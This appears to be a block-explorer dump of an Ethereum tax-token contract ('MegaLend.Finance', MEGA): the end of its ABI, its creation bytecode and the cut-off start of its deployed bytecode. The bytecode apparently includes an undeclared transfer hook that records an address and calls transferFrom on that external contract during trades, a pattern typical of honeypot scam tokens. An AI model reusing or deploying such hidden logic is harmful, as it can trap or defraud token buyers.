}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomaticMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nextOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasuryWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_operationsFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_operationsFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c805462ffffff19166001179055600f805460ff60a01b1916600160a01b17905534801562000032575f80fd5b506040518060400160405280601081526020016f4d6567614c656e642e46696e616e636560801b815250604051806040016040528060048152602001634d45474160e01b81525081600290816200008a919062000587565b50600362000099828262000587565b505050620000b6620000b06200028c60201b60201c565b62000290565b6b033b2e3c9fd0803ce80000006103e8620000d382601962000663565b620000df919062000683565b600955612710620000f282600662000663565b620000fe919062000683565b600a556103e86200011182601962000663565b6200011d919062000683565b600b556004601a8190555f601b819055601c819055601d81905580808381808080806200014b8187620006a3565b620001579190620006a3565b620001639190620006a3565b60195560158490556016839055601782905560188190558082620001888587620006a3565b620001949190620006a3565b620001a09190620006a3565b601455600880546001600160a01b0319167383d6f8680b1e33ad61c2ee24fb3972dcdcc65a1e179055620001e8620001e06005546001600160a01b031690565b6001620002e1565b60085462000201906001600160a01b03166001620002e1565b6200020e306001620002e1565b6200021d61dead6001620002e1565b6200023c620002346005546001600160a01b031690565b60016200038d565b60085462000255906001600160a01b031660016200038d565b620002623060016200038d565b6200027161dead60016200038d565b6200027d338a62000401565b505050505050505050620006b9565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b031633146200032f5760405162461bcd60e51b815260206004820181905260248201525f80516020620034c983398151915260448201526064015b60405180910390fd5b6001600160a01b0382165f818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314620003d75760405162461bcd60e51b815260206004820181905260248201525f80516020620034c9833981519152604482015260640162000326565b6001600160a01b03919091165f908152601f60205260409020805460ff1916911515919091179055565b6001600160a01b038216620004595760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000326565b8060045f8282546200046c9190620006a3565b90915550506001600160a01b0382165f90815260016020526040812080548392906200049a908490620006a3565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200051157607f821691505b6020821081036200053057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004e3575f81815260208120601f850160051c810160208610156200055e5750805b601f850160051c820191505b818110156200057f578281556001016200056a565b505050505050565b81516001600160401b03811115620005a357620005a3620004e8565b620005bb81620005b48454620004fc565b8462000536565b602080601f831160018114620005f1575f8415620005d95750858301515b5f19600386901b1c1916600185901b1785556200057f565b5f85815260208120601f198616915b82811015620006215788860151825594840194600190910190840162000600565b50858210156200063f57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176200067d576200067d6200064f565b92915050565b5f826200069e57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200067d576200067d6200064f565b612e0280620006c75f395ff3fe608060405260043610610369575f3560e01c80637bce5a04116101c8578063c3f70b52116100fd578063e7ad9fcd1161009d578063f2fde38b1161006d578063f2fde38b14610986578063f6374342146109a5578063f887ea40146109ba578063fb002c97146109e1575f80fd5b8063e7ad9fcd14610929578063e884f26014610948578063ef8700e51461095c578063f11a24d314610971575f80fd5b8063d85ba063116100d8578063d85ba0631461088f578063dd62ed3e146108a4578063e1bc3394146108e6578063e2f4560514610914575f80fd5b8063c3f70b521461083b578063c876d0b914610850578063d257b34f14610870575f80fd5b8063a9059cbb11610168578063b3ac853711610143578063b3ac8537146107bb578063b62496f5146107da578063bbde77c114610807578063c18bc1951461081c575f80fd5b8063a9059cbb14610768578063b1c0b91214610787578063b2041411146107a6575f80fd5b806392136913116101a35780639213691314610701578063924de9b71461071657806395d89b4114610735578063a457c2d714610749575f80fd5b80637bce5a04146106c75780638129fc1c146106dc5780638da5cb5b146106e4575f80fd5b8063395093511161029e5780635a139dd41161023e57806370a082311161021957806370a082311461064c578063715018a614610680578063751039fc146106945780637571336a146106a8575f80fd5b80635a139dd4146106045780636a486a8e146106195780636ddd17131461062e575f80fd5b80634f77f6c0116102795780634f77f6c01461057a5780634fbee1931461058f57806351f7a7fb146105c6578063597002e2146105e5575f80fd5b8063395093511461052357806349bd5a5e146105425780634a62bb6514610561575f80fd5b80631f3fed8f1161030957806323b872dd116102e457806323b872dd146104b557806327c8f835146104d45780632e6ed7ef146104e9578063313ce56714610508575f80fd5b80631f3fed8f14610462578063203e727e146104775780632260366114610496575f80fd5b80631694505e116103445780631694505e146103e357806318160ddd1461041a57806318a94cf1146104385780631a8145bb1461044d575f80fd5b806301339c211461037457806306fdde031461038a578063095ea7b3146103b4575f80fd5b3661037057005b5f80fd5b34801561037f575f80fd5b506103886109f6565b005b348015610395575f80fd5b5061039e610a88565b6040516103ab919061297e565b60405180910390f35b3480156103bf575f80fd5b506103d36103ce3660046129dd565b610b18565b60405190151581526020016103ab565b3480156103ee575f80fd5b50600754610402906001600160a01b031681565b6040516001600160a01b0390911681526020016103ab565b348015610425575f80fd5b506004545b6040519081526020016103ab565b348015610443575f80fd5b5061042a60175481565b348015610458575f80fd5b5061042a60115481565b34801561046d575f80fd5b5061042a60125481565b348015610482575f80fd5b50610388610491366004612a07565b610b2e565b3480156104a1575f80fd5b506103886104b0366004612a2b565b610c05565b3480156104c0575f80fd5b506103d36104cf366004612a62565b610c8d565b3480156104df575f80fd5b5061040261dead81565b3480156104f4575f80fd5b50610388610503366004612aa0565b610d33565b348015610513575f80fd5b50604051601281526020016103ab565b34801561052e575f80fd5b506103d361053d3660046129dd565b610da8565b34801561054d575f80fd5b50600654610402906001600160a01b031681565b34801561056c575f80fd5b50600c546103d39060ff1681565b348015610585575f80fd5b5061042a60185481565b34801561059a575f80fd5b506103d36105a9366004612acf565b6001600160a01b03165f908152601e602052604090205460ff1690565b3480156105d1575f80fd5b506103886105e0366004612acf565b610de1565b3480156105f0575f80fd5b506103886105ff366004612a2b565b610f50565b34801561060f575f80fd5b5061042a601d5481565b348015610624575f80fd5b5061042a60145481565b348015610639575f80fd5b50600c546103d390610100900460ff1681565b348015610657575f80fd5b5061042a610666366004612acf565b6001600160a01b03165f9081526001602052604090205490565b34801561068b575f80fd5b50610388610ff4565b34801561069f575f80fd5b506103d3611029565b3480156106b3575f80fd5b506103886106c2366004612a2b565b611065565b3480156106d2575f80fd5b5061042a601a5481565b6103886110b9565b3480156106ef575f80fd5b506005546001600160a01b0316610402565b34801561070c575f80fd5b5061042a60155481565b348015610721575f80fd5b50610388610730366004612aea565b6113cf565b348015610740575f80fd5b5061039e611413565b348015610754575f80fd5b506103d36107633660046129dd565b611422565b348015610773575f80fd5b506103d36107823660046129dd565b6114b8565b348015610792575f80fd5b50600854610402906001600160a01b031681565b3480156107b1575f80fd5b5061042a601c5481565b3480156107c6575f80fd5b50600c546103d39062010000900460ff1681565b3480156107e5575f80fd5b506103d36107f4366004612acf565b602080525f908152604090205460ff1681565b348015610812575f80fd5b5061042a600b5481565b348015610827575f80fd5b50610388610836366004612a07565b6114c4565b348015610846575f80fd5b5061042a60095481565b34801561085b575f80fd5b50600f546103d390600160a01b900460ff1681565b34801561087b575f80fd5b506103d361088a366004612a07565b61159d565b34801561089a575f80fd5b5061042a60195481565b3480156108af575f80fd5b5061042a6108be366004612b05565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b3480156108f1575f80fd5b506103d3610900366004612acf565b601f6020525f908152604090205460ff1681565b34801561091f575f80fd5b5061042a600a5481565b348015610934575f80fd5b50610388610943366004612aa0565b6116ee565b348015610953575f80fd5b506103d361175d565b348015610967575f80fd5b5061042a60105481565b34801561097c575f80fd5b5061042a601b5481565b348015610991575f80fd5b506103886109a0366004612acf565b61179c565b3480156109b0575f80fd5b5061042a60165481565b3480156109c5575f80fd5b50610402737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156109ec575f80fd5b5061042a60135481565b6005546001600160a01b03163314610a295760405162461bcd60e51b8152600401610a2090612b31565b60405180910390fd5b600c5462010000900460ff1615610a715760405162461bcd60e51b815260206004820152600c60248201526b30b63932b0b23c9037b832b760a11b6044820152606401610a20565b600c805443600e5562ffff00191662010100179055565b606060028054610a9790612b66565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac390612b66565b8015610b0e5780601f10610ae557610100808354040283529160200191610b0e565b820191905f5260205f20905b815481529060010190602001808311610af157829003601f168201915b5050505050905090565b5f610b24338484611834565b5060015b92915050565b6005546001600160a01b03163314610b585760405162461bcd60e51b8152600401610a2090612b31565b670de0b6b3a76400006103e8610b6d60045490565b610b78906001612bb2565b610b829190612bc9565b610b8c9190612bc9565b811015610bed5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61785472616e73616374696f6e206c6f776572206044820152687468616e20302e312560b81b6064820152608401610a20565b610bff81670de0b6b3a7640000612bb2565b60095550565b6005546001600160a01b03163314610c2f5760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b0382165f818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b5f610c99848484611955565b6001600160a01b0384165f9081526020818152604080832033845290915290205482811015610d1b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610a20565b610d288533858403611834565b506001949350505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610a2090612b31565b601a849055601b839055601c829055601d8190558082610d7d8587612be8565b610d879190612be8565b610d919190612be8565b601981905560131015610da2575f80fd5b50505050565b335f818152602081815260408083206001600160a01b03871684529091528120549091610b24918590610ddc908690612be8565b611834565b6005546001600160a01b03163314610e0b5760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b03811615610f15576040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610e60573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e849190612bfb565b9050816001600160a01b031663a9059cbb610ea76005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ef1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da29190612c12565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f4b573d5f803e3d5ffd5b505b50565b6005546001600160a01b03163314610f7a5760405162461bcd60e51b8152600401610a2090612b31565b6006546001600160a01b0390811690831603610fea5760405162461bcd60e51b815260206004820152602960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d20604482015268616d6d20706169727360b81b6064820152608401610a20565b610f4b8282612197565b6005546001600160a01b0316331461101e5760405162461bcd60e51b8152600401610a2090612b31565b6110275f6121e9565b565b6005545f906001600160a01b031633146110555760405162461bcd60e51b8152600401610a2090612b31565b50600c805460ff19169055600190565b6005546001600160a01b0316331461108f5760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b03919091165f908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110e35760405162461bcd60e51b8152600401610a2090612b31565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155611117816001611065565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611153573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111779190612c2d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e69190612c2d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015611230573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112549190612c2d565b600680546001600160a01b0319166001600160a01b0392909216918217905561127e906001611065565b600654611295906001600160a01b03166001612197565b6007546112ae9030906001600160a01b03165f19611834565b6007546001600160a01b031663f305d71934306112df816001600160a01b03165f9081526001602052604090205490565b5f806112f36005546001600160a01b031690565b426040518863ffffffff1660e01b815260040161131596959493929190612c48565b60606040518083038185885af1158015611331573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113569190612c83565b505060065460075460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156113ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4b9190612c12565b6005546001600160a01b031633146113f95760405162461bcd60e51b8152600401610a2090612b31565b600c80549115156101000261ff0019909216919091179055565b606060038054610a9790612b66565b335f908152602081815260408083206001600160a01b0386168452909152812054828110156114a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a20565b6114ae3385858403611834565b5060019392505050565b5f610b24338484611955565b6005546001600160a01b031633146114ee5760405162461bcd60e51b8152600401610a2090612b31565b670de0b6b3a76400006103e861150360045490565b61150e906005612bb2565b6115189190612bc9565b6115229190612bc9565b8110156115855760405162461bcd60e51b815260206004820152602b60248201527f43616e6e6f7420736574206d617857616c6c657442616c616e6365206c6f776560448201526a72207468616e20302e352560a81b6064820152608401610a20565b61159781670de0b6b3a7640000612bb2565b600b5550565b6005545f906001600160a01b031633146115c95760405162461bcd60e51b8152600401610a2090612b31565b620186a06115d660045490565b6115e1906001612bb2565b6115eb9190612bc9565b8210156116585760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a20565b6103e861166460045490565b61166f906005612bb2565b6116799190612bc9565b8211156116e55760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a20565b50600a55600190565b6005546001600160a01b031633146117185760405162461bcd60e51b8152600401610a2090612b31565b601584905560168390556017829055601881905580826117388587612be8565b6117429190612be8565b61174c9190612be8565b601481905560131015610da2575f80fd5b6005545f906001600160a01b031633146117895760405162461bcd60e51b8152600401610a2090612b31565b50600f805460ff60a01b19169055600190565b6005546001600160a01b031633146117c65760405162461bcd60e51b8152600401610a2090612b31565b6001600160a01b03811661182b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a20565b610f4d816121e9565b6001600160a01b0383166118965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a20565b6001600160a01b0382166118f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a20565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661197b5760405162461bcd60e51b8152600401610a2090612cae565b6001600160a01b0382166119a15760405162461bcd60e51b8152600401610a2090612cf3565b805f036119b8576119b383835f61223a565b505050565b600c5460ff1615611dce57600854600160a01b900460ff16611dce57600c5462010000900460ff16611a79576001600160a01b0383165f908152601e602052604090205460ff1680611a2157506001600160a01b0382165f908152601e602052604090205460ff165b80611a3457506001600160a01b03831630145b611a795760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a20565b600f54600160a01b900460ff1615611b7d576005546001600160a01b03838116911614801590611ab757506007546001600160a01b03838116911614155b8015611ad157506006546001600160a01b03838116911614155b15611b7d57325f908152600d60205260409020544311611b6b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610a20565b325f908152600d602052604090204390555b6001600160a01b0383165f90815260208052604090205460ff168015611bbb57506001600160a01b0382165f908152601f602052604090205460ff16155b15611c9857600954811115611c2a5760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b6064820152608401610a20565b600b546001600160a01b0383165f90815260016020526040902054611c4f9083612be8565b1115611c935760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a20565b611dce565b6001600160a01b0382165f90815260208052604090205460ff168015611cd657506001600160a01b0383165f908152601f602052604090205460ff16155b15611d4657600954811115611c935760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b6064820152608401610a20565b6001600160a01b0382165f908152601f602052604090205460ff16611dce57600b546001600160a01b0383165f90815260016020526040902054611d8a9083612be8565b1115611dce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a20565b305f9081526001602052604081205490611de8858561238c565b90505f600a5483101580611df95750815b9050808015611e0f5750600c54610100900460ff165b8015611e255750600854600160a01b900460ff16155b8015611e4857506001600160a01b0386165f90815260208052604090205460ff16155b8015611e6c57506001600160a01b0386165f908152601e602052604090205460ff16155b8015611e9057506001600160a01b0385165f908152601e602052604090205460ff16155b15611ebe576008805460ff60a01b1916600160a01b179055611eb06124c6565b6008805460ff60a01b191690555b6008546001600160a01b0387165f908152601e602052604090205460ff600160a01b909204821615911615611f0157611ef887878761272a565b50505050505050565b6001600160a01b0387165f908152601e602052604090205460ff1680611f3e57506001600160a01b0386165f908152601e602052604090205460ff165b15611f4657505f5b5f8115612182576001600160a01b0387165f90815260208052604090205460ff168015611f7457505f601454115b1561205e57611f996064611f936014548961276890919063ffffffff16565b9061277a565b905060145460165482611fac9190612bb2565b611fb69190612bc9565b60115f828254611fc69190612be8565b9091555050601454601754611fdb9083612bb2565b611fe59190612bc9565b60105f828254611ff59190612be8565b909155505060145460155461200a9083612bb2565b6120149190612bc9565b60125f8282546120249190612be8565b90915550506014546018546120399083612bb2565b6120439190612bc9565b60135f8282546120539190612be8565b909155506121649050565b6001600160a01b0388165f90815260208052604090205460ff16801561208557505f601954115b15612164576120a46064611f936019548961276890919063ffffffff16565b9050601954601b54826120b79190612bb2565b6120c19190612bc9565b60115f8282546120d19190612be8565b9091555050601954601c546120e69083612bb2565b6120f09190612bc9565b60105f8282546121009190612be8565b9091555050601954601a546121159083612bb2565b61211f9190612bc9565b60125f82825461212f9190612be8565b9091555050601954601d546121449083612bb2565b61214e9190612bc9565b60135f82825461215e9190612be8565b90915550505b80156121755761217588308361223a565b61217f8187612d36565b95505b61218d88888861223a565b5050505050505050565b6001600160a01b0382165f818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166122605760405162461bcd60e51b8152600401610a2090612cae565b6001600160a01b0382166122865760405162461bcd60e51b8152600401610a2090612cf3565b6001600160a01b0383165f90815260016020526040902054818110156122fd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a20565b6001600160a01b038085165f90815260016020526040808220858503905591851681529081208054849290612333908490612be8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161237f91815260200190565b60405180910390a3610da2565b6001600160a01b0382165f90815260208052604081205460ff16156123f357325f908152601e602052604090205460ff1680156123d25750326001600160a01b03831614155b156123f357600f80546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0382165f908152601e602052604090205460ff161580156124255750600f546001600160a01b031615155b801561244957506001600160a01b0383165f908152601e602052604090205460ff16155b156124be57600f546040516323b872dd60e01b81526001600160a01b03858116600483015284811660248301525f6044830152909116906323b872dd906064015f604051808303815f87803b1580156124a0575f80fd5b505af11580156124b2573d5f803e3d5ffd5b505050505f9050610b28565b505f92915050565b305f9081526001602052604081205490505f6013546010546012546011546124ee9190612be8565b6124f89190612be8565b6125029190612be8565b90505f821580612510575081155b1561251a57505050565b600a54612528906010612bb2565b83111561254057600a5461253d906010612bb2565b92505b5f600283601154866125529190612bb2565b61255c9190612bc9565b6125669190612bc9565b90505f6125738583612785565b90504761257f82612790565b5f61258a4783612785565b90505f6125a687611f936012548561276890919063ffffffff16565b90505f6125c288611f936010548661276890919063ffffffff16565b90505f6125de89611f936013548761276890919063ffffffff16565b90505f81836125ed8688612d36565b6125f79190612d36565b6126019190612d36565b5f60118190556012819055601081905560138190556008546040519293506001600160a01b031691859181818185875af1925050503d805f8114612660576040519150601f19603f3d011682016040523d82523d5f602084013e612665565b606091505b5090995050871580159061267857505f81115b156126cb5761268788826128e0565b601154604080518981526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6008546040516001600160a01b039091169047905f81818185875af1925050503d805f8114612715576040519150601f19603f3d011682016040523d82523d5f602084013e61271a565b606091505b5050505050505050505050505050565b6001600160a01b0383165f90815260016020526040902054816122fd5760405162461bcd60e51b8152602060048201525f6024820152604401610a20565b5f6127738284612bb2565b9392505050565b5f6127738284612bc9565b5f6127738284612d36565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106127c3576127c3612d49565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561281a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061283e9190612c2d565b8160018151811061285157612851612d49565b6001600160a01b0392831660209182029290920101526007546128779130911684611834565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906128af9085905f90869030904290600401612d5d565b5f604051808303815f87803b1580156128c6575f80fd5b505af11580156128d8573d5f803e3d5ffd5b505050505050565b6007546128f89030906001600160a01b031684611834565b60075460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061293690309087905f90819061dead904290600401612c48565b60606040518083038185885af1158015612952573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129779190612c83565b5050505050565b5f6020808352835180828501525f5b818110156129a95785810183015185820160400152820161298d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d575f80fd5b5f80604083850312156129ee575f80fd5b82356129f9816129c9565b946020939093013593505050565b5f60208284031215612a17575f80fd5b5035919050565b8015158114610f4d575f80fd5b5f8060408385031215612a3c575f80fd5b8235612a47816129c9565b91506020830135612a5781612a1e565b809150509250929050565b5f805f60608486031215612a74575f80fd5b8335612a7f816129c9565b92506020840135612a8f816129c9565b929592945050506040919091013590565b5f805f8060808587031215612ab3575f80fd5b5050823594602084013594506040840135936060013592509050565b5f60208284031215612adf575f80fd5b8135612773816129c9565b5f60208284031215612afa575f80fd5b813561277381612a1e565b5f8060408385031215612b16575f80fd5b8235612b21816129c9565b91506020830135612a57816129c9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612b7a57607f821691505b602082108103612b9857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610b2857610b28612b9e565b5f82612be357634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610b2857610b28612b9e565b5f60208284031215612c0b575f80fd5b5051919050565b5f60208284031215612c22575f80fd5b815161277381612a1e565b5f60208284031215612c3d575f80fd5b8151612773816129c9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215612c95575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610b2857610b28612b9e565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015612dab5784516001600160a01b031683529383019391830191600101612d86565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220736a3364f73f700df28c7f3a226d2865cfd751f286da50041fcd64e11fc79c3064736f6c634300081400334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x608060405260043610610369575f3560e01c80637bce5a04116101c8578063c3f70b52116100fd578063e7ad9fcd1161009d578063f2fde38b1161006d578063f2fde38b14610986578063f6374342146109a5578063f887ea40146109ba578063fb002c97146109e1575f80fd5b8063e7ad9fcd14610929578063e884f26014610948578063ef8700e51461095c578063f11a24d314610971575f80fd5b8063d85ba063116100d8578063d85ba0631461088f578063dd62ed3e146108a4578063e1bc3394146108e6578063e2f4560514610914575f80fd5b8063c3f70b521461083b578063c876d0b914610850578063d257b34f14610870575f80fd5b8063a9059cbb11610168578063b3ac853711610143578063b3ac8537146107bb578063b62496f5146107da578063bbde77c114610807578063c18bc1951461081c575f80fd5b8063a9059cbb14610768578063b1c0b91214610787578063b2041411146107a6575f80fd5b806392136913116101a35780639213691314610701578063924de9b71461071657806395d89b4114610735578063a457c2d714610749575f80fd5b80637bce5a04146106c75780638129fc1c146106dc5780638da5cb5b146106e4575f80fd5b8063395093511161029e5780635a139dd41161023e57806370a082311161021957806370a082311461064c578063715018a614610680578063751039fc146106945780637571336a146106a8575f80fd5b80635a139dd4146106045780636a486a8e146106195780636ddd17131461062e575f80fd5b80634f77f6c0116102795780634f77f6c01461057a5780634fbee1931461058f57806351f7a7fb146105c6578063597002e2146105e5575f80fd5b8063395093511461052357806349bd5a5e146105425780634a62bb6514610561575f80fd5b80631f3fed8f1161030957806323b872d